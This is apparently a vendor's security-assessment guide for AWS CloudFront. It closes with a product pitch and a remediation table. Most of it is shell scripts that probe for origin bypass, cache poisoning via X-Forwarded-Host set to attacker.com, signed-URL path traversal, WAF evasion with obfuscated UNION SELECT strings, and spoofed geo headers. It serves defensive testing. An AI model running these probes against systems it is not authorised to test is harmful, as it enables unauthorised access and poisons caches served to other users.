AWS CloudFront is the most widely deployed CDN/edge service in the world, sitting in front of S3 buckets, API Gateway endpoints, Application Load Balancers, and custom origins. Its security model is complex and frequently misconfigured: origin bypass occurs when the S3 bucket or ALB accepts direct requests without CloudFront authentication, rendering WAF rules and IP restrictions irrelevant; cache poisoning exploits HTTP headers that are forwarded to the cache key without normalization; signed URL/cookie bypass can allow access to protected content; and OAC/OAI misconfiguration leaves S3 buckets publicly accessible. This guide covers systematic CloudFront security assessment.
CloudFront distributions expose their origin in DNS records, HTTP response headers, and certificate Subject Alternative Names. Identifying the actual origin domain is the prerequisite for origin bypass testing.
# CloudFront distribution discovery and origin identification
TARGET="cdn.company.com"
# Identify CloudFront distribution
curl -sI "https://${TARGET}/" | grep -E "x-amz|CloudFront|server|via" -i
# Check if it's CloudFront and get distribution ID
curl -sI "https://${TARGET}/" | grep -i "x-amz-cf-pop\|x-amz-cf-id\|x-cache"
# Certificate SAN enumeration โ reveals origin and related domains
openssl s_client -connect "${TARGET}:443" -servername "${TARGET}" 2>/dev/null | \
openssl x509 -noout -text 2>/dev/null | grep -A1 "Subject Alternative Name"
# AWS CLI โ enumerate CloudFront distributions (with AWS credentials)
aws cloudfront list-distributions --query 'DistributionList.Items[].{Id:Id,Domain:DomainName,Origins:Origins.Items[].DomainName,Status:Status,Enabled:Enabled}' --output table 2>/dev/null
# DNS enumeration to find S3/ALB origin
dig +short "${TARGET}"
# If CNAME -> *.cloudfront.net, check if S3 bucket accessible directly
BUCKET_REGION="us-east-1"
BUCKET_NAME=$(echo "${TARGET}" | cut -d. -f1)
# Try direct S3 bucket access
for REGION in us-east-1 us-west-2 eu-west-1 ap-southeast-1; do
S3_URL="https://${BUCKET_NAME}.s3.${REGION}.amazonaws.com/"
CODE=$(curl -s -o /dev/null -w "%{http_code}" "${S3_URL}")
echo "Direct S3 (${REGION}): HTTP ${CODE}"
[ "$CODE" != "403" ] && [ "$CODE" != "301" ] && echo " POSSIBLE OPEN BUCKET"
done
# Check if origin is identified in error responses
curl -sv "https://${TARGET}/nonexistent-path-12345" 2>&1 | grep -E "Server:|x-amz|origin|host"
CloudFront adds a custom origin header (configured in the distribution) that the origin checks to verify requests came through CloudFront. When this header is not configured or the origin does not validate it, direct access to the ALB or S3 bucket bypasses CloudFront entirely.
# CloudFront origin bypass testing
TARGET="cdn.company.com"
ORIGIN="origin.company.com" # Identified from DNS/cert
# Test 1: Direct access to likely origin domains
for ORIGIN_GUESS in "origin.${TARGET}" "api.${TARGET/cdn./}" "backend.${TARGET/cdn./}" \
"${TARGET/cdn./}.s3.amazonaws.com" "${TARGET/cdn./}.s3-website-us-east-1.amazonaws.com"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${ORIGIN_GUESS}/")
[ "$CODE" != "000" ] && echo "Origin candidate ${ORIGIN_GUESS}: HTTP ${CODE}"
done
# Test 2: Host header manipulation โ try accessing origin via CloudFront IP
CF_IP=$(dig +short "${TARGET}" | head -1)
curl -sv -H "Host: ${ORIGIN}" "https://${CF_IP}/" --resolve "${ORIGIN}:443:${CF_IP}" 2>&1 | grep "< HTTP"
# Test 3: S3 direct access โ check if OAC/OAI is properly configured
S3_BUCKET="company-static-assets"
S3_REGION="us-east-1"
# Without OAC, S3 bucket may allow public or authenticated AWS access
curl -s "https://${S3_BUCKET}.s3.${S3_REGION}.amazonaws.com/" | grep -E "ListBucketResult|NoSuchBucket|AccessDenied"
aws s3 ls "s3://${S3_BUCKET}/" 2>/dev/null && echo "S3 bucket accessible with AWS credentials"
# Test 4: ALB direct access โ ALB may not check for CloudFront header
ALB_DNS="my-alb-1234567890.us-east-1.elb.amazonaws.com"
curl -s -H "Host: ${TARGET}" "https://${ALB_DNS}/" -o /dev/null -w "%{http_code}"
# Test 5: Check if custom origin header is required (and what it is)
# CloudFront can be configured to add a secret header โ the origin checks for it
# Without it, requests should be rejected with 403/401
curl -s "https://${ORIGIN}/" -o /dev/null -w "No CF header: %{http_code}\n"
curl -s "https://${ORIGIN}/" \
-H "X-CloudFront-Secret: test-secret" -o /dev/null -w "Wrong CF header: %{http_code}\n"
# Extract potential CloudFront secret from JS bundle
curl -s "https://${TARGET}/" | grep -oE 'X-[A-Za-z-]+:[^\\"]+' | head -20
curl -s "https://${TARGET}/static/js/main.*.js" 2>/dev/null | grep -oE '"X-[A-Z-]+":[^,}]+' | head -10
CloudFront caches responses keyed on URL path and configured cache key parameters. Headers forwarded to the origin but not included in the cache key can poison the cache โ serving a manipulated response to subsequent legitimate users.
# CloudFront cache poisoning assessment
TARGET="cdn.company.com"
# Test which headers CloudFront forwards to origin (reveals cache key config)
curl -sv "https://${TARGET}/api/user/profile" \
-H "X-Forwarded-Host: attacker.com" \
-H "X-Original-Host: attacker.com" 2>&1 | grep -E "< |location|host" -i
# Host header injection cache poisoning
# If X-Forwarded-Host is forwarded to origin but not in cache key,
# a poisoned response with attacker.com in redirects gets cached
curl -s "https://${TARGET}/api/login" \
-H "X-Forwarded-Host: attacker.com" \
-H "Cache-Control: no-cache" \
-v 2>&1 | grep -E "Location:|attacker.com" -i
# Probe cache behavior with cache-busting parameter
# Same URL, different headers โ does the cached response reflect injected header?
CACHE_BUSTER="cb=$(date +%s)"
curl -s "https://${TARGET}/api/config?${CACHE_BUSTER}" \
-H "X-Custom-Header: POISONED" | grep -i "POISONED"
# Test X-Rewrite-URL / X-Original-URL header forwarding
for HEADER in "X-Rewrite-URL: /admin" "X-Original-URL: /admin" "X-Override-URL: /admin"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/" -H "${HEADER}")
echo "${HEADER}: HTTP ${CODE}"
done
# CloudFront response headers โ check if cache key is exposed
curl -sI "https://${TARGET}/static/image.jpg" | grep -E "x-cache|age|cache-control|etag|last-modified"
# X-Cache: Hit from cloudfront โ means it was cached
# Age: N โ how long it's been cached in seconds
# Fat GET cache poisoning โ POST body cached as GET response
curl -s -X GET "https://${TARGET}/api/data" \
-H "Content-Type: application/json" \
-H "Content-Length: 30" \
-d '{"admin":true,"role":"superadmin"}' | python3 -m json.tool 2>/dev/null
CloudFront signed URLs and cookies restrict access to protected content using RSA-signed parameters. Misconfigurations โ including overly broad wildcard patterns, missing path validation, and parameter order manipulation โ can allow access to content that should require a valid signature.
# CloudFront signed URL/cookie bypass testing
TARGET="cdn.company.com"
# Test if signed URL is enforced on all paths
# Attempt to access protected content without signature
for PATH in "/private/document.pdf" "/premium/video.mp4" "/protected/data.json"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}${PATH}")
echo "Unsigned access ${PATH}: HTTP ${CODE}"
# 403 = signed URL enforced; 200/403 = check if OAI is configured
done
# Signed URL parameter manipulation
# Valid signed URL format: /path?Expires=&Signature=&Key-Pair-Id=
VALID_URL="https://${TARGET}/protected/file.pdf?Expires=9999999999&Signature=validSig&Key-Pair-Id=APKABC123"
# Test 1: Remove signature (should fail)
curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/protected/file.pdf?Expires=9999999999&Key-Pair-Id=APKABC123"
# Test 2: Path traversal in signed URL (if wildcard path used)
# If distribution signed for /protected/* โ try accessing /protected/../admin/
curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/protected/../admin/config.json?${VALID_URL#*?}"
# Test 3: Check if signature is verified for different HTTP methods
for METHOD in GET HEAD OPTIONS POST; do
CODE=$(curl -s -X "${METHOD}" -o /dev/null -w "%{http_code}" "${VALID_URL}")
echo "${METHOD} with valid sig: HTTP ${CODE}"
done
# Test 4: CloudFront signed cookie bypass
# If cookies are checked, test if direct URL params override
curl -s "https://${TARGET}/premium/content.html" \
--cookie "CloudFront-Expires=9999999999; CloudFront-Signature=invalid; CloudFront-Key-Pair-Id=FAKE" \
-o /dev/null -w "%{http_code}"
# CloudFront WAF bypass techniques
# WAF is applied at CloudFront level โ may not protect direct origin
# Also test URL encoding, case variation, and path confusion
for PAYLOAD in "UNION+SELECT" "%55NION+SELECT" "UNion+SELect" "UNION%20SELECT"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}/api/search?q=${PAYLOAD}")
echo "WAF test '${PAYLOAD}': HTTP ${CODE}"
done
# Geo-restriction bypass via X-Forwarded-For spoofing
# Some implementations trust CF-IPCountry header from client
curl -s -H "CF-IPCountry: US" "https://${TARGET}/" -o /dev/null -w "%{http_code}"
curl -s -H "CloudFront-Viewer-Country: US" "https://${TARGET}/" -o /dev/null -w "%{http_code}"
Ironimo can assess your AWS CloudFront distributions for origin bypass vulnerabilities, cache poisoning via header injection, signed URL misconfigurations, OAC/OAI gaps, and WAF bypass techniques โ covering the full CDN attack surface.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| S3 origin publicly accessible | OAI/OAC not enforced by default | Enable OAC (Origin Access Control) on all S3 origins; block all public access on S3 bucket; use bucket policy to allow only CloudFront service principal |
| ALB accessible directly | No CloudFront header check | Add custom origin header in CloudFront; configure ALB listener rule to require header; use security group to restrict to CloudFront IP ranges |
| Headers forwarded but not in cache key | X-Forwarded-Host often forwarded | Configure cache key policy to include all forwarded headers; strip untrusted headers at CloudFront before forwarding to origin |
| Signed URL wildcard too broad | Often /* covering all paths | Use path-specific wildcards; validate Resource parameter against expected prefixes; set short Expires values |
| WAF rules only at CloudFront | Origin unprotected if bypassed | Deploy WAF at both CloudFront and ALB/API Gateway layers; validate inputs at application level regardless of WAF |
| Geo-restriction trusting client headers | CF-IPCountry header from CF is trusted | Use CloudFront's built-in geo-restriction (based on viewer IP); never trust client-supplied country headers |